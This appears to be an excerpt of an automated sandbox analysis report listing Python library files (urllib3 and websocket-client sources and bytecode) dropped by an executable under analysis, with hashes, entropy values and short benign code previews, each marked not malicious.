Preview:	from __future__ import annotations..import socket.import typing..from ..exceptions import LocationParseError.from .timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT.._TYPE_SOCKET_OPTIONS = typing.List[typing.Tuple[int, int, typing.Union[int, bytes]]]..if typing.TYPE_CHECKING:. from .._base_connection import BaseHTTPConnection...def is_connection_dropped(conn: BaseHTTPConnection) -> bool: # Platform-specific. """. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. """. return not conn.is_connected...# This function is copied from socket.py in the Python 2.7 standard.# library test suite. Added to its signature is only `socket_options`..# One additional modification is that we avoid binding to IPv6 servers.# discovered in DNS if the system doesn't have IPv6 functionality..def create_connection(. address: tuple[str, int],. timeout: _TYPE_TIMEOUT = _DEFAULT_TIMEOUT,. source_address: tupl

C:\recover\pw\Lib\site-packages\urllib3\util\proxy.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	4.568988072838994
Encrypted:	false
SSDEEP:	24:1R7i0ekLILn8+WQXvAFnT8adOeeleCfdO2MG89dYTysSd2o:PIgILn8+W38awee8CfdO2MG89dWysSdF
MD5:	9BD4BCA24A0FA10D896D386B7D736697
SHA1:	A10A3A580A9FEF94AF52CF37E00A9913E0F64DA0
SHA-256:	B1E3FCF90E41E9B07474CB703E3F98719650DF4BC7B8BA91BBEB48D096767F3B
SHA-512:	FECEE94612F30C3A5DEA846F6245BD4B5C717F9E65D6450C26DCD22B9DBF2CDD8B00C60FBA5143BC986A5CAEED22A4B64FA6CEDA5369CCF71A72861E9553E7C9
Malicious:	false
Preview:	from __future__ import annotations..import typing..from .url import Url..if typing.TYPE_CHECKING:. from ..connection import ProxyConfig...def connection_requires_http_tunnel(. proxy_url: Url \| None = None,. proxy_config: ProxyConfig \| None = None,. destination_scheme: str \| None = None,.) -> bool:. """. Returns True if the connection requires an HTTP CONNECT through the proxy... :param URL proxy_url:. URL of the proxy.. :param ProxyConfig proxy_config:. Proxy configuration from poolmanager.py. :param str destination_scheme:. The scheme of the destination. (i.e https, http, etc). """. # If we're not using a proxy, no way to use a tunnel.. if proxy_url is None:. return False.. # HTTP destinations never require tunneling, we always forward.. if destination_scheme == "http":. return False.. # Support for forwarding with HTTPS proxies and HTTPS destinations.. if (. proxy_url.scheme == "https". a

C:\recover\pw\Lib\site-packages\urllib3\util\request.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8064
Entropy (8bit):	4.745558576767803
Encrypted:	false
SSDEEP:	96:I9yg6hKFsmz/Q2P7fTqSzblmEvxcUA7W/EE6aLHMCtkEy20KzaV79KW:r/hKZz/P7bq6pmEXAiHXbqp5
MD5:	C77F7D6FA029F06E949D277D7864A17A
SHA1:	0459A2C46601226E176D89691A2EC83CC5D8ECE8
SHA-256:	52B676837CB7B2D1A91FCAE6F92C7CFA896581E8A2288E3DE83657442C316FDA
SHA-512:	13B4DFA3D5DA5932348CE5DF531110C897C568662CA26369ABE9B07C16E58E88FA49C45CD741EE2FD718E41F5A950CEDB9930A50912D58351C225FB2A10B3E35
Malicious:	false
Preview:	from __future__ import annotations..import io.import typing.from base64 import b64encode.from enum import Enum..from ..exceptions import UnrewindableBodyError.from .util import to_bytes..if typing.TYPE_CHECKING:. from typing import Final..# Pass as a value within ``headers`` to skip.# emitting some HTTP headers that are added automatically..# The only headers that are supported are ``Accept-Encoding``,.# ``Host``, and ``User-Agent``..SKIP_HEADER = "@@@SKIP_HEADER@@@".SKIPPABLE_HEADERS = frozenset(["accept-encoding", "host", "user-agent"])..ACCEPT_ENCODING = "gzip,deflate".try:. try:. import brotlicffi as _unused_module_brotli # type: ignore[import-not-found] # noqa: F401. except ImportError:. import brotli as _unused_module_brotli # type: ignore[import-not-found] # noqa: F401.except ImportError:. pass.else:. ACCEPT_ENCODING += ",br".try:. import zstandard as _unused_module_zstd # noqa: F401.except ImportError:. pass.else:. ACCEPT_ENCODING += ",z

C:\recover\pw\Lib\site-packages\urllib3\util\response.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3374
Entropy (8bit):	4.616514316314554
Encrypted:	false
SSDEEP:	48:Pn2y1uZsY0Gb9PpvNY4zamL7gkLgUCj0ZDkB7ST0FFaAHt5JhKCUAR6Px6nZwHec:+CuF0sPpvz+b5w8Ff/JOC6PIHc
MD5:	B4AB7140164239E3CAA07E0D2672326F
SHA1:	F296CB85D9DF58E5F40F560C9DAE60DB5AF70961
SHA-256:	BD013ADFDBA81218F5BE98C4771BB994D22124249466477BA6A965508D0164E0
SHA-512:	4750FADBD852F723AF3A01006EF1A87B0F4D53264E2077F05DF1D99CBC965D6EBFAC0028BBB18916A4A4931E72DCAAB6A066762055996AD8CBE36EBF0DDA0D08
Malicious:	false
Preview:	from __future__ import annotations..import http.client as httplib.from email.errors import MultipartInvariantViolationDefect, StartBoundaryNotFoundDefect..from ..exceptions import HeaderParsingError...def is_fp_closed(obj: object) -> bool:. """. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. """.. try:. # Check `isclosed()` first, in case Python3 doesn't set `closed`.. # GH Issue #928. return obj.isclosed() # type: ignore[no-any-return, attr-defined]. except AttributeError:. pass.. try:. # Check via the official file-like-object way.. return obj.closed # type: ignore[no-any-return, attr-defined]. except AttributeError:. pass.. try:. # Check if the object is a container for another file-like object that. # gets released on exhaustion (e.g. HTTPResponse).. return obj.fp is None # type: ignore[attr-defined]. except AttributeError:

C:\recover\pw\Lib\site-packages\urllib3\util\retry.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18459
Entropy (8bit):	4.430321061770966
Encrypted:	false
SSDEEP:	192:WBMf12FuuccXjtRLJIkyMT9hFP0POAFuMqaWJef2Z0t5CpPu2wFsWrdLOGdUhoR8:WXsuPVnpXA5CcOaUT
MD5:	3E8C2638CEB2BCF5173627AE24C6324D
SHA1:	C718DEC62FEDD1780FBDE1B9F6C96B4460A5383F
SHA-256:	6E3FB6614A9B9712E5BFC4C78397F1C30F83339E1709B8E0657210EF55E2A026
SHA-512:	5E394519BC0E03868D2AD098BD70E6F8847D8E7716F9FE1808AC171C550043F8E67EE21A5FF4AFA4F343435F5E5D11C22FCBCE465E2D14A430882870E5394B6E
Malicious:	false
Preview:	from __future__ import annotations..import email.import logging.import random.import re.import time.import typing.from itertools import takewhile.from types import TracebackType..from ..exceptions import (. ConnectTimeoutError,. InvalidHeader,. MaxRetryError,. ProtocolError,. ProxyError,. ReadTimeoutError,. ResponseError,.).from .util import reraise..if typing.TYPE_CHECKING:. from typing_extensions import Self.. from ..connectionpool import ConnectionPool. from ..response import BaseHTTPResponse..log = logging.getLogger(__name__)...# Data structure for representing the metadata of requests that result in a retry..class RequestHistory(typing.NamedTuple):. method: str \| None. url: str \| None. error: Exception \| None. status: int \| None. redirect_location: str \| None...class Retry:. """Retry configuration... Each retry attempt will create a new Retry object with updated values, so. they can be safely reused... Retries can be defined

C:\recover\pw\Lib\site-packages\urllib3\util\ssl_.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19238
Entropy (8bit):	4.878450596452805
Encrypted:	false
SSDEEP:	384:3SsP+N8GFe6jhepukwg242k1xnaLaQ7pfpyA7y+MwobAQ7pfpyA7y+MwobtymDIc:3SAqgZ1xwpfpyA7y+Mwo0qpfpyA7y+MT
MD5:	315406A6A4D48F43D3DDA930E408DCDE
SHA1:	A41345D8FDF9312F6BCE9B0BB66478C7841E2E69
SHA-256:	58DF1AE8A3CF72FBA46D9D0C5250403A41A297C6D8298F0DA0860EC3B41E38B2
SHA-512:	4E497BF9687658397AFAD745E0AB94AEA8199451FACDD6C8BB85725D5819EDEC6B807F3DF4E7D2AC42D24B8921FFACA2623E28B142BED61658B02D30968ECC4D
Malicious:	false
Preview:	from __future__ import annotations..import hashlib.import hmac.import os.import socket.import sys.import typing.import warnings.from binascii import unhexlify..from ..exceptions import ProxySchemeUnsupported, SSLError.from .url import _BRACELESS_IPV6_ADDRZ_RE, _IPV4_RE..SSLContext = None.SSLTransport = None.HAS_NEVER_CHECK_COMMON_NAME = False.IS_PYOPENSSL = False.ALPN_PROTOCOLS = ["http/1.1"].._TYPE_VERSION_INFO = typing.Tuple[int, int, int, str, int]..# Maps the length of a digest to a possible hash function producing this digest.HASHFUNC_MAP = {. length: getattr(hashlib, algorithm, None). for length, algorithm in ((32, "md5"), (40, "sha1"), (64, "sha256")).}...def _is_bpo_43522_fixed(. implementation_name: str,. version_info: _TYPE_VERSION_INFO,. pypy_version_info: _TYPE_VERSION_INFO \| None,.) -> bool:. """Return True for CPython 3.8.9+, 3.9.3+ or 3.10+ and PyPy 7.3.8+ where. setting SSLContext.hostname_checks_common_name to False works... Outside of CPython a

C:\recover\pw\Lib\site-packages\urllib3\util\ssl_match_hostname.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5812
Entropy (8bit):	4.693270482744315
Encrypted:	false
SSDEEP:	96:qnswp1bMzfocVZn0QkWlQ2VrzjthGH5t+6Q5JZolPVJIpdmfNtSupXeqdWL:uR/bmXB0QkWqitUHFgZMIPmVgu4r
MD5:	AA846D5E039C6A30B7F7C3B684CAE3E7
SHA1:	9BD94E0DDD8ABF77F0A719D11A00836978C8F5B8
SHA-256:	81A5AA8B1A18B50FC628EF1F7111858F755778CA2ACB1410B944CF8167A22FF3
SHA-512:	DE8ACBBC98797D455A47C6F136F6415F36846F6CD8F09591407690BD673566DC483447FFE8DD125D6AD99A7B3C0137F3A3C31406E665597B0C86A04436F84408
Malicious:	false
Preview:	"""The match_hostname() function from Python 3.5, essential when using SSL."""..# Note: This file is under the PSF license as the code comes from the python.# stdlib. http://docs.python.org/3/license.html.# It is modified to remove commonName support...from __future__ import annotations..import ipaddress.import re.import typing.from ipaddress import IPv4Address, IPv6Address..if typing.TYPE_CHECKING:. from .ssl_ import _TYPE_PEER_CERT_RET_DICT..__version__ = "3.5.0.1"...class CertificateError(ValueError):. pass...def _dnsname_match(. dn: typing.Any, hostname: str, max_wildcards: int = 1.) -> typing.Match[str] \| None \| bool:. """Matching according to RFC 6125, section 6.4.3.. http://tools.ietf.org/html/rfc6125#section-6.4.3. """. pats = []. if not dn:. return False.. # Ported from python3-syntax:. # leftmost, remainder = dn.split(r'.'). parts = dn.split(r"."). leftmost = parts[0]. remainder = parts[1:].. wildcards = leftmost.count("").

C:\recover\pw\Lib\site-packages\urllib3\util\ssltransport.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	4.514513834687227
Encrypted:	false
SSDEEP:	192:hUrcuD3X8sVqqJo6g3Nu0a76pyPsLxIjjhad:hKlD3xVV6kPs+XY
MD5:	47BEAC947B716FC99C5415D8B165AB40
SHA1:	1274169EA2A11D1E8243020DD3E49F66463E9EC7
SHA-256:	C29AC1BE19208DD76184CC3011B1F23F8972807A4FE924BEE3912E87BA1EE3C9
SHA-512:	E277F753860C78E5A0DFA22266FDFA6693C536FB55FB8B1CAB6156973168247152ADFD8E03E77215131921AECC35835D3FB577B049B099F356621380C406DCB7
Malicious:	false
Preview:	from __future__ import annotations..import io.import socket.import ssl.import typing..from ..exceptions import ProxySchemeUnsupported..if typing.TYPE_CHECKING:. from typing_extensions import Self.. from .ssl_ import _TYPE_PEER_CERT_RET, _TYPE_PEER_CERT_RET_DICT..._WriteBuffer = typing.Union[bytearray, memoryview]._ReturnValue = typing.TypeVar("_ReturnValue")..SSL_BLOCKSIZE = 16384...class SSLTransport:. """. The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. implement TLS within TLS... The class supports most of the socket API operations.. """.. @staticmethod. def _validate_ssl_context_for_tls_in_tls(ssl_context: ssl.SSLContext) -> None:. """. Raises a ProxySchemeUnsupported if the provided ssl_context can't be used. for TLS in TLS... The only require

C:\recover\pw\Lib\site-packages\urllib3\util\timeout.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10346
Entropy (8bit):	4.487203103410679
Encrypted:	false
SSDEEP:	192:FLWn+l/uQiHf8WSBXAG5yq3QnqXkHhsy6+:xWQ/uQA0MkGmCc+
MD5:	F4A48CE35A9B5729FEEA01D44490FCCF
SHA1:	166C5F455B7F05AD8D63687B29A0BF0724EBB2D5
SHA-256:	E1E4F5155799654EE1EE6603D49AB639735EE1FC5E91D36F868594919BAC4690
SHA-512:	669DA13231076509EC6F7005F55A91FC1364EDA287185842B738F0360088C7624EDA43C7151FD1CA1504CCD0D324FC54302BD4FCFC590027BA6264763F06485C
Malicious:	false
Preview:	from __future__ import annotations..import time.import typing.from enum import Enum.from socket import getdefaulttimeout..from ..exceptions import TimeoutStateError..if typing.TYPE_CHECKING:. from typing import Final...class _TYPE_DEFAULT(Enum):. # This value should never be passed to socket.settimeout() so for safety we use a -1.. # socket.settimout() raises a ValueError for negative values.. token = -1..._DEFAULT_TIMEOUT: Final[_TYPE_DEFAULT] = _TYPE_DEFAULT.token.._TYPE_TIMEOUT = typing.Optional[typing.Union[float, _TYPE_DEFAULT]]...class Timeout:. """Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=timeout).. resp = http.request("GET", "https://example.com/").. print(resp.status).. Or per-request (which overrides the default for the pool):.. .. code-block:: python

C:\recover\pw\Lib\site-packages\urllib3\util\url.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15213
Entropy (8bit):	4.872083630674659
Encrypted:	false
SSDEEP:	384:cJKD+3h7DAmC+kN5t7+RsFkz6zY6cHZy12x:cJxDXC+kflVkOzY6cHIK
MD5:	811AF7DB53FFD4120CE4D151FAFA1F24
SHA1:	4CA2FFF416F7893D662E257A6E1E7090524545AC
SHA-256:	C07391869F344405F24E5008913A8B1734AB914EC9DF8643C57FAD37AE4C0599
SHA-512:	3EA9FA41032E093F417A75420A6D94212E226999F4FEEC0C26DDC6D8845F43CD8FC4300610E62DF37A087CE3BE10CBEDB41B0EBA17C6685CA8D8E5F46CB504B2
Malicious:	false
Preview:	from __future__ import annotations..import re.import typing..from ..exceptions import LocationParseError.from .util import to_str..# We only want to normalize urls with an HTTP(S) scheme..# urllib3 infers URLs without a scheme (None) to be http.._NORMALIZABLE_SCHEMES = ("http", "https", None)..# Almost all of these patterns were derived from the.# 'rfc3986' module: https://github.com/python-hyper/rfc3986._PERCENT_RE = re.compile(r"%[a-fA-F0-9]{2}")._SCHEME_RE = re.compile(r"^(?:[a-zA-Z][a-zA-Z0-9+-]:\|/)")._URI_RE = re.compile(. r"^(?:([a-zA-Z][a-zA-Z0-9+.-]):)?". r"(?://([^\\/?#]))?". r"([^?#])". r"(?:\?([^#]))?". r"(?:#(.))?$",. re.UNICODE \| re.DOTALL,.).._IPV4_PAT = r"(?:[0-9]{1,3}\.){3}[0-9]{1,3}"._HEX_PAT = "[0-9A-Fa-f]{1,4}"._LS32_PAT = "(?:{hex}:{hex}\|{ipv4})".format(hex=_HEX_PAT, ipv4=_IPV4_PAT)._subs = {"hex": _HEX_PAT, "ls32": _LS32_PAT}._variations = [. # 6( h16 ":" ) ls32. "(?:%(hex)s:){6}%(ls32)s",. #

C:\recover\pw\Lib\site-packages\urllib3\util\util.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1146
Entropy (8bit):	4.443278207032918
Encrypted:	false
SSDEEP:	24:1R7Hhv+sQK995Vb624+Q3+shD9bVb62A+QUH3jtIB2qBoEcZwtj4ri:PUsVnDexdOshDHeVdw2BR42
MD5:	3C5DC84F86959542DF8F2D38FDCD9366
SHA1:	AC7A579CE7E37CE8BF215F97B9BFB80B149B0F68
SHA-256:	8F795B64AD633F28B00F7E13F08809CDD5846554FEE04FB4BD82098BD52378D0
SHA-512:	A67CDF2BB9B97217A8E99EDA0089961A5B4EA6BDD5BCB0BA490469FFFF422430373D61B2E9FF3E5B54CE23C5361C07EBD9B845003D35DC7FDCF3DCCA7A826A07
Malicious:	false
Preview:	from __future__ import annotations..import typing.from types import TracebackType...def to_bytes(. x: str \| bytes, encoding: str \| None = None, errors: str \| None = None.) -> bytes:. if isinstance(x, bytes):. return x. elif not isinstance(x, str):. raise TypeError(f"not expecting type {type(x).__name__}"). if encoding or errors:. return x.encode(encoding or "utf-8", errors=errors or "strict"). return x.encode()...def to_str(. x: str \| bytes, encoding: str \| None = None, errors: str \| None = None.) -> str:. if isinstance(x, str):. return x. elif not isinstance(x, bytes):. raise TypeError(f"not expecting type {type(x).__name__}"). if encoding or errors:. return x.decode(encoding or "utf-8", errors=errors or "strict"). return x.decode()...def reraise(. tp: type[BaseException] \| None,. value: BaseException,. tb: TracebackType \| None = None,.) -> typing.NoReturn:. try:. if value.__traceback__ is not t

C:\recover\pw\Lib\site-packages\urllib3\util\wait.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4423
Entropy (8bit):	4.57958390877449
Encrypted:	false
SSDEEP:	96:6e0jQGAov2Rq9rFKYuBArDFL2c8WR9tg6L2LcJqKdDLfsWG1JAEg01AEDn:30jQGf9hKorDp2c86AW2LcJqyfsWgBD
MD5:	D333C4CDB4CF3074C1245164C65AAC59
SHA1:	B8FFB5126AB052A8798F03EFB7BC3D8C1BD6837A
SHA-256:	FE987C22B511DECA8FAA2D0EA29420254947E30CE419E3390A2C80ED7186B662
SHA-512:	A30CF0681A11CCB899D2FDD3CF355482DD8D3F51F2EFA4AE88C0A4B65C6E1A53FBB734F7BAE2DC51E85B5BE4AA767237EA14596FDECF66A715D51563B908AC5D
Malicious:	false
Preview:	from __future__ import annotations..import select.import socket.from functools import partial..__all__ = ["wait_for_read", "wait_for_write"]...# How should we wait on sockets?.#.# There are two types of APIs you can use for waiting on sockets: the fancy.# modern stateful APIs like epoll/kqueue, and the older stateless APIs like.# select/poll. The stateful APIs are more efficient when you have a lots of.# sockets to keep track of, because you can set them up once and then use them.# lots of times. But we only ever want to wait on a single socket at a time.# and don't want to keep track of state, so the stateless APIs are actually.# more efficient. So we want to use select() or poll()..#.# Now, how do we choose between select() and poll()? On traditional Unixes,.# select() has a strange calling convention that makes it slow, or fail.# altogether, for high-numbered file descriptors. The point of poll() is to fix.# that, so on Unixes, we prefer poll()..#.# On Windows, there is no poll() (o

C:\recover\pw\Lib\site-packages\websocket\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	833
Entropy (8bit):	4.959847702307672
Encrypted:	false
SSDEEP:	12:CV9ZwI4IEGMFj27dYCQLU0E+9o/HQknd7Gps2khWa98e9P8lB9YBUwaT:S9Zl4IpheU0E+4HQk1Gps2Gtd1ch
MD5:	7775948E379A698B6F7F0DB8926A95AE
SHA1:	E062FC33B86A7B9250A9EB10C8F448C1B9A0A86C
SHA-256:	1AF5694CF923BE16041997235ECCD27EBB3615A547B9D51D1A0192A9FFD16F0E
SHA-512:	C3ACBBB091977ED497C60DCD01A51DDC4DDA259033B65B3CFA55D6755BD045E23B47CB9C6F812123C2E72CD5EDD793C116BEAA8FD2F43F177E78A77F2EF34D64
Malicious:	false
Preview:	""".__init__.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".from ._abnf import .from ._app import WebSocketApp as WebSocketApp, setReconnect as setReconnect.from ._core import .from ._exceptions import .from ._logging import .from ._socket import *..__version__ = "1.8.0".

C:\recover\pw\Lib\site-packages\websocket\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	5.434586738686298
Encrypted:	false
SSDEEP:	24:H5G9Zl4IpheU0E+4HQk1Gps2OJjGK4E+P:HAl4+h0CH31KiJjGgg
MD5:	B816F044BAA2146F3EFB90F724D027E1
SHA1:	A5B31D7DCD621790C54C8A68038420473E2D1DD9
SHA-256:	4078E521AD77B7B2451497AED03DAA57E722D28A295BDC77E1F349EB6DA91C10
SHA-512:	C74C581ADE5E2FBD3EF26EE5C6C81AFB0985CE3D061CA21D69E79335DDE2B6BDA86D67BA6567BD63D66F5ABF18458275A32FCECA0CD348B6D300CB38BC60EE7C
Malicious:	false
Preview:	o.......>k;gA........................@...sD...d.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.T.d.d.l.T.d.d.l.T.d.d.l.T.d.Z.d.S.).ab....__init__.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.......)...*)...WebSocketApp..setReconnectz.1.8.0N)...__doc__Z._abnfZ._appr....r....Z._core.._exceptionsZ._logging.._socket..__version__..r....r.....4C:\winnit\pw\lib\site-packages\websocket\__init__.py..<module>....s....................

C:\recover\pw\Lib\site-packages\websocket\pycache\init.cpython-310.pyc.75143648

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	967
Entropy (8bit):	5.441334570949639
Encrypted:	false
SSDEEP:	24:85G9Zl4IpheU0E+4HQk1Gps2OJjGpa4E+P:8Al4+h0CH31KiJjGpQg
MD5:	22DD21362F2EF4766A8D71B52C517E00
SHA1:	13536618CCF218DE4B496F8C70D47EF1EFDFD3DC
SHA-256:	A418AA713B9CAD04009076233330CC655FFDF6F57F100E3C4C6A093AADFA5391
SHA-512:	0A5C4318837187B32785405663AABE00573549E2A45E40613C29955F8E1E0BAF1991CA430D523B3F1C77E499A30EDBB226DE805BCFA10AB3C2DA5FDC73172455
Malicious:	false
Preview:	o.........SgA........................@...sD...d.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.T.d.d.l.T.d.d.l.T.d.d.l.T.d.Z.d.S.).ab....__init__.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.......)...*)...WebSocketApp..setReconnectz.1.8.0N)...__doc__Z._abnfZ._appr....r....Z._core.._exceptionsZ._logging.._socket..__version__..r....r.....5C:\recover\pw\lib\site-packages\websocket\__init__.py..<module>....s....................

C:\recover\pw\Lib\site-packages\websocket\pycache\_abnf.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	11135
Entropy (8bit):	5.40786052297297
Encrypted:	false
SSDEEP:	192:vfJmK7mmCkzdMfdx4cIl+UqLcHo36L5FskQJeCiROUppvaZdre82l4rn0WFV:5mRSulap8UCAo3Kn4GHppCe82+rn0o
MD5:	49D8CFB759B87D60362DFA89844D3C73
SHA1:	3B5BD876BFAB5F12666A43EAD54A6767F2E87535
SHA-256:	69639498D187E840A106FF9F31F8DC03C5807F697B86E45A83644666EADE3337
SHA-512:	D677276FDDFAC9BD56CBA2A78712DF04B64E4A4099595E1FB307A5550D3AFE3324497EE2FFE8A86BFEBCF3C5E4DA8B24C2CDBD6C50F3CC57AAB310DE3A36B1A8
Malicious:	false
Preview:	o.......>k;g18.......................@...sJ...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....z.d.d.l.m.Z...d.e.j.d.e.j.d.e.f.d.d...Z.W.n...e.y]......e.j.Z.d.e.j.d.e.j.d.e.f.d.d...Z.Y.n.w.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%e.e.e.e.e.e.e.e e!e"e#e$f.Z&G.d.d...d...Z'G.d d!..d!..Z(G.d"d#..d#..Z)d.S.)$.....N)...Lock)...Callable..Optional..Union.....)...WebSocketPayloadException..WebSocketProtocolException)...validate_utf8)...XorMaskerSimple..mask_value..data_value..returnc....................C...s....t.\|.....\|...}.\|.S...N).r......process).r....r....Z.mask_result..r.....1C:\winnit\pw\lib\site-packages\websocket\_abnf.py.._mask%...s........r....c....................C...sH...t.\|...}.t...\|.t...}.t...\|.\|.d.....\|.d.\|.d.........t...}.\|.\|.A...\|.t...S.).N.....)...len..int..from_bytes..native_byteorder..to_bytes).r....r....Z.datalenZ.int_data_valueZ.int_mask_valuer....r....r....r....-...s................)...ABNF..continuo

C:\recover\pw\Lib\site-packages\websocket\pycache\_abnf.cpython-310.pyc.75144896

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11136
Entropy (8bit):	5.407402659419252
Encrypted:	false
SSDEEP:	192:ofJmK7mmCkzdMfdx4cIl+UqLcHo36L5FskQJeCiROUppvaZdre82l4rn0WFV:KmTSulap8UCAo3Kn4GHppCe82+rn0o
MD5:	9F85E409959C6E5296374217C7B2E6A1
SHA1:	517FE9FEB903DEE5B6E9C5EF805FC844CF424C42
SHA-256:	2C307D856B102DDC11637156F66C335482776F88B7680FC3BB93F91CCC8906F3
SHA-512:	44F112DB35ED3CA32B704EBA7652ADCC24D64AE1D2F087004B4BE5B5394313EC07E9D7BFE4560A36100420454D70BE8A41F1FCEFA932563A02418460651373A5
Malicious:	false
Preview:	o.........Sg18.......................@...sJ...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....z.d.d.l.m.Z...d.e.j.d.e.j.d.e.f.d.d...Z.W.n...e.y]......e.j.Z.d.e.j.d.e.j.d.e.f.d.d...Z.Y.n.w.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%e.e.e.e.e.e.e.e e!e"e#e$f.Z&G.d.d...d...Z'G.d d!..d!..Z(G.d"d#..d#..Z)d.S.)$.....N)...Lock)...Callable..Optional..Union.....)...WebSocketPayloadException..WebSocketProtocolException)...validate_utf8)...XorMaskerSimple..mask_value..data_value..returnc....................C...s....t.\|.....\|...}.\|.S...N).r......process).r....r....Z.mask_result..r.....2C:\recover\pw\lib\site-packages\websocket\_abnf.py.._mask%...s........r....c....................C...sH...t.\|...}.t...\|.t...}.t...\|.\|.d.....\|.d.\|.d.........t...}.\|.\|.A...\|.t...S.).N.....)...len..int..from_bytes..native_byteorder..to_bytes).r....r....Z.datalenZ.int_data_valueZ.int_mask_valuer....r....r....r....-...s................)...ABNF..continu

C:\recover\pw\Lib\site-packages\websocket\pycache\_app.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	19423
Entropy (8bit):	5.399595569798516
Encrypted:	false
SSDEEP:	384:JHJMnoF3eIfFDxNUbVr5mEtr0zSo0/3888tiYn:JHJMnoF3eIddNcrggqSo0/98ln
MD5:	D74EDFE20CD5165BB59C94BD37CC33FA
SHA1:	CAD9415DE1F700063F6A6FC0C24A77BA089E9A18
SHA-256:	F5E479B2D70A6C3AC6251B7552537B6AE964D4864438A454B97C78C95CDDB61E
SHA-512:	1448D589595C13273598CAC1DE977A2664B383E59F54E0944F5C9991B0813D1656373EC22176DFD3734621B6710AF7FD624A414CAF3D73FFEC0BBCB1D6C8D486
Malicious:	false
